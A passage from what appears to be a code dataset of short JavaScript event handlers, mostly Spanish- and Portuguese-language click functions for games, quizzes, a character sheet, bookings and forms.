\n\tselainPilihanbenar.forEach(function(jawabanSoalketikaSalah){\n\t//jika jawaban ada yang salah tampilkan info kesalahan\n\tif(jawabanSoalketikaSalah.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info kesalahan kepada user\n\tinfo_salah.classList.add('d-block');\n\t\t}\n});\n\t\t\n\t//cek jawaban ketika benar\n\tjawaban.forEach(function(jawabanSoal){\n\t//jika jawaban benar semua tampilkan info\n\tif(jawabanSoal.checked){\n\t//berikan info dan pengertian jawaban pada user\n\tinfo_jawaban.forEach(function(tampilkanInfo){\n\ttampilkanInfo.classList.add('d-block');\n\t});\n\t//berikan info benar kepada user\n\tinfo_benar.classList.add('d-block');\n\t//jika selain ada jawaban yang salah\n\t }else if(jawabanSoal.checked || jawabanSoal.checked == false){\n\t //hapus info benar kepada user dan berikan kesalahan jawaban salah\n\tinfo_benar.classList.remove('d-block');\n\t }\t\n\t });\n\t//hilangkan tombol loading\n\tbtn_loading.classList.remove('d-block');\n\t}, 3000);\n}","function ClickGerarResumo() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var input = Dom(\"resumo-personagem-2\");\n input.value = GeraResumo();\n input.focus();\n input.select();\n}","function template_eventosFavoritos() {\n\t$(\".btnBotones.estrella\").unbind();\n\t$(\".btnBotones.estrella\").each(function(){\n\t\tvar elemento = $(this);\n\t\t\n\t\t$(this).on({\n\t\t\tclick: function() {\n\t\t\t\tvar tempUrl = \"\";\n\t\t\t\tvar datos;\n\t\t\t\t\n\t\t\t\tif (typeof elemento.attr(\"data-inmueble\") !== 'undefined') {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoInmueble.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tinmueble: elemento.attr(\"data-inmueble\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\ttempUrl = \"lib_php/updFavoritoDesarrollo.php\";\n\t\t\t\t\tdatos = {\n\t\t\t\t\t\tid: elemento.attr(\"data-id\"),\n\t\t\t\t\t\tdesarrollo: elemento.attr(\"data-desarrollo\")\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$.ajax({\n\t\t\t\t\turl: tempUrl,\n\t\t\t\t\ttype: \"POST\",\n\t\t\t\t\tdataType: \"json\",\n\t\t\t\t\tdata: datos\n\t\t\t\t}).always(function(respuesta_json){\n\t\t\t\t\tif (respuesta_json.isExito == 1) {\n\t\t\t\t\t\tif (parseInt(respuesta_json.id) == 0)\n\t\t\t\t\t\t\telemento.removeClass(\"activo\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\telemento.addClass(\"activo\");\n\t\t\t\t\t\telemento.attr(\"data-id\", respuesta_json.id);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$(\"#template_alertPersonalizado td\").text(\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\");\n\t\t\t\t\t\ttemplate_alertPersonalizado();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n\t});\n}","function acceder(){\r\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\r\n let nombreUsuario = document.querySelector(\"#txtUsuario\").value ;\r\n let clave = document.querySelector(\"#txtClave\").value;\r\n let acceso = comprobarAcceso (nombreUsuario, clave);\r\n let perfil = \"\"; //variable para capturar perfil del usuario ingresado\r\n let i = 0;\r\n while(i < usuarios.length){\r\n const element = usuarios[i].nombreUsuario.toLowerCase();\r\n if(element === nombreUsuario.toLowerCase()){\r\n perfil = usuarios[i].perfil;\r\n usuarioLoggeado = usuarios[i].nombreUsuario;\r\n }\r\n i++\r\n }\r\n //Cuando acceso es true \r\n if(acceso){\r\n if(perfil === \"alumno\"){\r\n alumnoIngreso();\r\n }else if(perfil === \"docente\"){\r\n docenteIngreso();\r\n }\r\n }\r\n}","function handleClick() {\n Swal.fire({\n title: '¡Atencion!',\n text: '¿ Esta seguro que desea continuar ?',\n icon: 'info',\n confirmButtonText: 'Si',\n confirmButtonColor: '#00afe1',\n cancelButtonText: 'Cancelar',\n showCancelButton: true,\n allowEnterKey: true,\n allowEscapeKey: false,\n allowOutsideClick: false,\n stopKeydownPropagation: true\n }).then((result) => {\n if (result.isConfirmed) {\n Swal.fire({\n icon: 'success',\n title: 'Gracias por confiar en Glavic!',\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\n confirmButtonText: 'Ok',\n confirmButtonColor: '#00afe1',\n });\n } else if (result.isDenied) {\n Swal.fire({\n icon: 'error',\n title: 'Ups!',\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\n timer: 1500\n });\n }\n })\n }","function activarHerramientaPerfil() {\n console.log(\"Activar herramienta perfil\");\n\n crearYCargarCapaLineaPerfil();\n activarControlDibujo();\n\n\n}","function ejecutaAccion(elemt, type, proyect ){\n\tactividadPrevia = true;\n\tborradoMultiple = false;\n\tcambiandoCategoria = false;\n\t\n\tif(!$(\"#tipoIdentificacion\").length){\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Frente\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(0) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(0)\").addClass(\"opacity\"); \n\t\t\t}\n\t\t\t\t\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Reverso\") != (-1)) {\n\t\t\t\t$(\".cred_image:eq(1) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(1)\").addClass(\"opacity\");\n\t\t\t} \n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Pasaporte\") != (-1)) {\n\t\t\t\t console.log($(elemt).closest(\"div\").text());\n\t\t\t\t$(\".cred_image:eq(2) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(2)\").addClass(\"opacity\");\n\t\t } \n\t}\n\t\n \n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") != \"type_loan\"){\n \t$(elemt).closest(\"form\").find(\"select\").val(type);\n \t$(elemt).closest(\"form\").find(\"select\").change();\n \t$(elemt).closest(\"form\").find(\"select\").blur();\n \t$(elemt).closest(\"form\").find(\".custumStlFileUploadPreview input\").trigger(\"click\");\n }\n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") == \"type_loan\" ){\n \tcambiarArchivo(type, \"#file_compIncome\", \"#rubroIngresos\");\t\n }\n \n if($(elemt).closest(\"#listCredFm2\").length ){\n \tconsole.log(\"ya entro a tipoIdentificacion\");\n \t cambiarArchivo(type, \"#file_credIdentificacion\", \"#rubroTipoIdentificacion\");\n \t//$(element).closest(\"frm_loan\").find(\".btn_comprobante[tipodoc='\"+type+\"']\");\n }\n\n}","function _ventanaPlanCuentas718(e) {\n\tif (e.type == \"keydown\" && e.which == 119 || e.type == 'click') {\n\t\t_ventanaDatos({\n\t\t\ttitulo: \"VENTANA CUENTA MAYOR\",\n\t\t\tcolumnas: [\"LLAVE_MAE\", \"NOMBRE_MAE\"],\n\t\t\tdata: $_planCuentas718,\n\t\t\tcallback_esc: () => { validarCtaTercero718() },\n\t\t\tcallback: (data) => {\n\t\t\t\tlet caja = e.currentTarget.id;\n\t\t\t\tif (caja == 'ctaingrTercer_718') {\n\t\t\t\t\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\n\t\t\t\t\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\n\t\t\t\t\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\n\t\t\t\t\tvalidarTercero718();\n\t\t\t\t} else {\n\t\t\t\t\tswitch ($_USUA_GLOBAL[0].PUC) {\n\t\t\t\t\t\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t}\n\t\t\t\t\tvalidarDivision718();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n}","function selectButton(e){\n \t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\n \tvar currentPlayer = listPlayers[turno];\n \tif(hasPositionByButton(e)){\n\t \tcurrentPlayer.addNewPosition(e);\n\t \t//Que imprima en el input el turno que le toca\n\t \tsetTurnOnView();\n\t \t//Para Dibujar en el Button\n\t \tdrawButton(e);\n\t \t//Para Validar si hay un ganador\n\t \tValidateWinner(currentPlayer); \t\n\t //Cambiamos el Turno, al que le toca\n\t changeTurn();\n\t }\n }","function setTunnetutMouseAction() {\n let tunnetut = document.getElementsByClassName(\"tunnettu sana\");\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\n for (let el of tunnetut) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut2 = document.getElementsByClassName(\"tunnettu sana vinkki\");\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\n for (let el of tunnetut2) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut4 = document.getElementsByClassName(\"tunnettu vinkki sana\");\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\n for (let el of tunnetut4) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut3 = document.getElementsByClassName(\"fade-in tunnettu sana\");\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\n for (let el of tunnetut3) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n return true;\n}","function falso(v) {\n\n boton.disabled = false;\n\n boton.addEventListener(\"click\", function () {\n isNotTrue(v);\n\n boton.style.display = \"none\";\n });\n\n}"],"string":"[\n \"function ClickGerarElite() {\\n GeraElite();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarAleatorioElite() {\\n GeraAleatorioElite();\\n AtualizaGeral();\\n}\",\n \"function ClickHabilidadeEspecial() {\\n // TODO da pra melhorar.\\n AtualizaGeral();\\n}\",\n \"function ClickGastarFeitico() {\\n AtualizaGeral();\\n}\",\n \"function do_click(reserva) {\\n\\tvar v = document.getElementById(reserva);\\n\\tif (v.alt != 2) {\\n\\t\\tif (fila == 0) { // Comprobacion de que es la primera fila que se\\n\\t\\t\\t\\t\\t\\t\\t// escoje\\n\\t\\t\\tfila = parseInt(reserva / 100);\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else if (parseInt(reserva / 100) == fila) {\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tif (contador < 10) {\\n\\t\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t\\t} else\\n\\t\\t\\t\\t\\talert(\\\"No se puede comprar mas de 10 entradas\\\");\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else\\n\\t\\t\\talert(\\\"Las entradas deben pertenecer a la misma fila\\\");\\n\\t}\\n}\",\n \"function ClickDescansar(valor) {\\n // Cura letal e nao letal.\\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\\n EntradasRenovaSlotsFeiticos();\\n AtualizaGeralSemLerEntradas();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarPontosDeVida(modo) {\\n GeraPontosDeVida(modo);\\n AtualizaGeral();\\n}\",\n \"function asignarEventos() {\\n _.click(function() {\\n\\n });\\n}\",\n \"function calificar(){\\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\\n//if(vincular()=true)\\n//open window\\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\\n//\\n}\",\n \"function onClick(e) {\\n let cantSalvo = tableroSalvo.querySelectorAll(\\\".active\\\").length;\\n let ajeno = tableroNaves.querySelectorAll(\\\".hit\\\").length + tableroNaves.querySelectorAll(\\\".fail\\\").length;\\n let propio = tableroSalvo.querySelectorAll(\\\".hit\\\").length + tableroSalvo.querySelectorAll(\\\".fail\\\").length;\\n\\n if(e.target.classList.contains(\\\"active\\\")) {\\n e.target.classList.remove(\\\"active\\\");\\n cantSalvo--;\\n } else if(cantSalvo < 5) {\\n e.target.classList.add(\\\"active\\\");\\n cantSalvo++;\\n }\\n\\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\\n document.querySelector(\\\".btnShot\\\").setAttribute(\\\"disabled\\\", \\\"true\\\");\\n } else {\\n document.querySelector(\\\".btnShot\\\").removeAttribute(\\\"disabled\\\");\\n }\\n}\",\n \"function ClickEstilo(nome_estilo, id_select_secundario) {\\n var select_secundario = Dom(id_select_secundario);\\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\\n select_secundario.disabled = true;\\n } else if (nome_estilo == 'duas_armas') {\\n select_secundario.disabled = false;\\n } else {\\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\\n }\\n AtualizaGeral();\\n}\",\n \"function ClickGerarComum() {\\n GeraComum();\\n AtualizaGeral();\\n}\",\n \"function logo_click() {\\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\\n componentes.progreso.porcentaje = 0;\\n componentes.progreso.barra.css({width: '0px'});\\n pasos.paso1.aseguradoraSeleccionada = null;\\n $(this).removeClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\\n } else {\\n if (pasos.paso1.aseguradoraSeleccionada == null) {\\n componentes.progreso.porcentaje = 5;\\n componentes.progreso.barra.css({width: '5%'});\\n }\\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\\n $(this).siblings(\\\".seleccionada\\\").removeClass(\\\"seleccionada\\\");\\n $(this).addClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\\n }\\n componentes.pasos.paso1.numero_siniestro.val('').focus();\\n componentes.pasos.paso1.numero_siniestro.keyup();\\n }\",\n \"function tzimhoniClick()\\n\\t\\t{\\n\\t\\tif (tzimhoniClickStatus==true){\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ על רכיב שתרצה לדעת עליו יותר\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=1;\\n\\t\\t\\tthis.heraion_fade.visible=1;\\n\\t\\t\\tthis.kasher_fade.visible=1;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=false;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tamago.alpha=1;\\n\\t\\t\\tthis.tivoni.mouseEnabled=false;\\n\\t\\t\\tthis.heraion.mouseEnabled=false;\\n\\t\\t\\tthis.kasher.mouseEnabled=false;\\n\\t\\t\\tthis.unagi.mouseEnabled=false;\\n\\t\\t\\tthis.tobiko.mouseEnabled=false;\\n\\t\\t\\tthis.tuna.mouseEnabled=false;\\n\\t\\t\\tthis.surimi.mouseEnabled=false;\\n\\t\\t\\tthis.palamida.mouseEnabled=false;\\n\\t\\t\\tthis.salmon.mouseEnabled=false;\\n\\t\\t\\tthis.skin.mouseEnabled=false;\\n\\t\\t\\tthis.ekora.mouseEnabled=false;\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ לבחירת המאפיין\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=0;\\n\\t\\t\\tthis.heraion_fade.visible=0;\\n\\t\\t\\tthis.kasher_fade.visible=0;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=true;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tivoni.mouseEnabled=true;\\n\\t\\t\\tthis.heraion.mouseEnabled=true;\\n\\t\\t\\tthis.kasher.mouseEnabled=true;\\n\\t\\t\\tthis.unagi.mouseEnabled=true;\\n\\t\\t\\tthis.tobiko.mouseEnabled=true;\\n\\t\\t\\tthis.tuna.mouseEnabled=true;\\n\\t\\t\\tthis.surimi.mouseEnabled=true;\\n\\t\\t\\tthis.palamida.mouseEnabled=true;\\n\\t\\t\\tthis.salmon.mouseEnabled=true;\\n\\t\\t\\tthis.skin.mouseEnabled=true;\\n\\t\\t\\tthis.ekora.mouseEnabled=true;\\n\\t\\t}\\n\\t\\t\\n\\t\\t}\",\n \"function avvisaUtente() { // senza argomento\\n alert('Ciao utente, ti sto avvisando');\\n}\",\n \"function click(cuadrado) {\\n\\n // Función que nos permite activar el timer\\n function activaTiempo(){\\n tiempoJuego = setInterval(actualizaTiempo, 1000)\\n tiempoActivo = true\\n }\\n \\n // obtenemos el id del cuadrado\\n let idActual = cuadrado.id\\n // Si el tiempo no ha sido activado lo activamos\\n if (!tiempoActivo) activaTiempo()\\n // Si el juego ya ha terminado nos salimos\\n if (juegoAcabado) return\\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\\n // Si contiene una bomba simplemente acaba el juego\\n if (cuadrado.classList.contains('bomba')) {\\n gameOver(cuadrado)\\n } \\n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\\n else {\\n let total = cuadrado.getAttribute('data')\\n if (total !=0) {\\n cuadrado.classList.add('chequeado')\\n if (total == 1) cuadrado.classList.add('uno')\\n if (total == 2) cuadrado.classList.add('dos')\\n if (total == 3) cuadrado.classList.add('tres')\\n if (total == 4) cuadrado.classList.add('cuatro')\\n if (total == 5) cuadrado.classList.add('cinco')\\n if (total == 6) cuadrado.classList.add('seis')\\n if (total == 7) cuadrado.classList.add('siete')\\n if (total == 8) cuadrado.classList.add('ocho')\\n cuadrado.innerHTML = total\\n return\\n }\\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \\n chequeaCuadrado(cuadrado, idActual)\\n }\\n cuadrado.classList.add('chequeado')\\n}\",\n \"function escucha_users(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByTagName(\\\"article\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z #user\\\");\\n if(localStorage.getItem(\\\"user\\\")){\\n btn.onclick = (e)=>{\\n if(localStorage.getItem(\\\"user\\\")){\\n location.replace(\\\"/login/informacioncuenta\\\");\\n }else{\\n urlCreateAccount();\\n }\\n }\\n }else{\\n urlCreateAccount();\\n }\\n}\",\n \"function ClickDesfazer() {\\n gEntradas = JSON.parse(gEstado.Restaura());\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function ClickVisao(modo) {\\n // Loop para esconder tudo.\\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\\n for (var i = 0; i < divs_esconder.length; ++i) {\\n divs_esconder[i].style.display = 'none';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\\n divs_combate.style.display = 'none';\\n }\\n // Loop para mostrar.\\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\\n for (var i = 0; i < divs_mostrar.length; ++i) {\\n divs_mostrar[i].style.display = 'block';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].mostrar.elementos[i]);\\n divs_combate.style.display = 'block';\\n }\\n gEntradas.modo_visao = modo;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function verify() {\\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\\n\\n\\n\\n $(\\\"#altaProductoBoton\\\").on(\\\"click\\\", verificarAltaProducto);\\n $(\\\"#altaCategoriaBoton\\\").on(\\\"click\\\", verificarAltaCategoria);\\n $(\\\"#bajaProductoBoton\\\").on(\\\"click\\\", verificarBajaProducto);\\n $(\\\"#modificarproductoBoton\\\").on(\\\"click\\\", verficiarModificarProducto);\\n $(\\\"#modificarProductoConfirmBoton\\\").on(\\\"click\\\", verficiarModificarConfirmProducto);\\n\\n\\n}\",\n \"function clickAssess() {\\n\\t$.trigger(\\\"clickAssess\\\");\\n}\",\n \"siguienteNivel() {\\n this.subNivel = 0;\\n this.iluminarSecuencia();\\n this.agregarEventosClick();\\n }\",\n \"function ClickSalvar() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n HabilitaOverlay();\\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\\n CarregaPersonagens();\\n DesabilitaOverlay();\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('salvo com sucesso.'));\\n });\\n}\",\n \"function ClickVisualizacaoModoMestre() {\\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function checkUser(){\\n //console.log('check user started');\\n cumputerTurn = false;\\n if(userClicked == true){\\n \\n }\\n}\",\n \"function ClickAdicionarEscudo() {\\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function clickEnCasilla(x, y) {\\n if (miPartida.tableroGirado) {\\n x = 7 - x;\\n y = 7 - y;\\n }\\n\\n let blanca = esBlanca(miPartida.tablero[x][y]);\\n let negra = esNegra(miPartida.tablero[x][y]);\\n\\n if (!miPartida.hayPiezaSelec) {\\n if (miPartida.turno && blanca || !miPartida.turno && negra)\\n realizarSeleccionPieza(x, y);\\n } else {\\n if (esMovValido(x, y)) {\\n if (siPeonPromociona(x))\\n modalPromocionPeon(x, y);\\n else {\\n enviarMovimiento(x, y, null);\\n realizarMovimientoYComprobaciones(x, y, false);\\n }\\n } else {\\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\\n // Compruebo que este pulsando una pieza y que sea de mi color\\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\\n eliminarEstiloMovPosibles();\\n realizarSeleccionPieza(x, y);\\n }\\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\\n eliminarEstiloMovPosibles();\\n deseleccionarPieza();\\n }\\n }\\n }\\n}\",\n \"function iniciar() {\\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \\n divRespuesta = document.getElementById('divRespuesta');\\n var botonAlta = document.getElementById('botonAlta');\\n botonAlta.addEventListener('click', altaUsuario); \\n}\",\n \"function IniciarEventos(){\\n\\t$('#guardar').click(guardardatos)\\n\\t$('#cancelar').click(function(){window.history.back()})\\n\\tshowmessage()\\n}\",\n \"function escucha_Permisos(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByClassName(\\\"work_data\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\\n aanvalActie = false;\\n aanvalKnopStatus = false;\\n beweegActie = false;\\n beweegKnopStatus = false;\\n beurtVeranderen();\\n veranderKleur(donkerblauw,wit);\\n veranderKleur(lichtblauw,wit);\\n }\\n}\",\n \"function ocultable_click() {\\n if (!edicion) {\\n $(this).siblings('.ocultable-contenido').slideToggle();\\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\\n }\\n }\",\n \"function conocerEvento(e)\\n{\\n\\n\\tvar evento = e || window.event;\\n\\n\\t\\t//document.getElementById(\\\"evento\\\").value = e.type;\\n\\n // console.log(\\\"evento\\\");\\n // console.log(e);\\n\\n if(evento.type == \\\"click\\\")\\n {\\n\\n //console.log(\\\"nombre del click\\\");\\n //console.log(evento.path[0].id);\\n\\n var nombreclick=evento.path[0].id;\\n\\n\\n //continuar\\n if(nombreclick.substr(0,10) == \\\"continuar\\\")\\n {\\n //alert(\\\"click\\\");\\n //var id=nombreclick.substr(7);\\n //console.log(\\\"comienza valor\\\");\\n //console.log(nombreclick.substr(8));\\n //alert(\\\"empezo entreno\\\");\\n\\n //id_plan = document.getElementById(\\\"codigoplan\\\").value;\\n //console.log(id_sesion);\\n //almacenarlocal('id_plan', id_plan);\\n //una();\\n\\n }\\n\\n\\n\\n\\n }\\n\\n\\n // switch(evento.type) {\\n // case 'mouseover':\\n // this.style.borderColor = 'black';\\n // break;\\n // case 'mouseout':\\n // this.style.borderColor = 'silver';\\n // break;\\n // }\\n\\n}\",\n \"function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\\r\\n\\r\\n\\t$(\\\"#btnModificarAprendiz\\\"+contador).click(function(){\\r\\n\\r\\n\\t\\tlimpiarFormulario(\\\"formModificarAprendiz\\\");\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdAprendiz\\\").val(idAprendiz);\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdentificacionAprendizMod\\\").val(identificacion);\\r\\n\\t\\t$(\\\"#txtNombreCompletoAprendizMod\\\").val(nombreCompleto);\\r\\n\\t\\t$(\\\"#selectFichaAprendizMod\\\").val(idFicha);\\r\\n\\t\\t$(\\\"#selectDetalleEstadoAprendizMod\\\").val(idDetalleEstado);\\r\\n\\t\\t\\r\\n\\t});\\r\\n}\",\n \"function changeUserStatut() {\\n $('.sidebar').on('click', '.user-login li a', function(e) {\\n e.preventDefault();\\n var statut = $(this).find('span').text();\\n currentStatut = $('.user-login button span').text();\\n $('.user-login button span').text(statut);\\n if (statut == 'Busy') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\\n }\\n if (statut == 'Invisible') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\\n }\\n if (statut == 'Away') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\\n }\\n });\\n}\",\n \"function posarBoleta(e) {\\r\\n// console.log(\\\"has clicat el \\\"+ e.target.getAttribute('id'));\\r\\n if (numDeClics==0) {\\r\\n //si guanya\\r\\n if (e.target.getAttribute('id')==aleatorio) {\\r\\n resultat(\\\"guany\\\", \\\"Felicitats :)\\\");\\r\\n // resultat(\\\"Felicitats :)\\\");\\r\\n //si perd\\r\\n }else{\\r\\n // resultat(\\\"Torna a provar! :S\\\");\\r\\n resultat(\\\"perd\\\", \\\"Torna a provar! :S\\\");\\r\\n\\r\\n }\\r\\n numDeClics=numDeClics+1;\\r\\n }\\r\\n}\",\n \"function cambiarEstado(e) {\\r\\n e.preventDefault();\\r\\n var contadore = 0;\\r\\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\\r\\n if (e.target.classList.contains('activo')) {\\r\\n e.target.classList.remove('activo');\\r\\n } else {\\r\\n for (var x = 0; x < reserva.children.length; x++) {\\r\\n if (reserva.children[x].classList.contains('activo')) {\\r\\n contadore++;\\r\\n }\\r\\n }\\r\\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\\r\\n 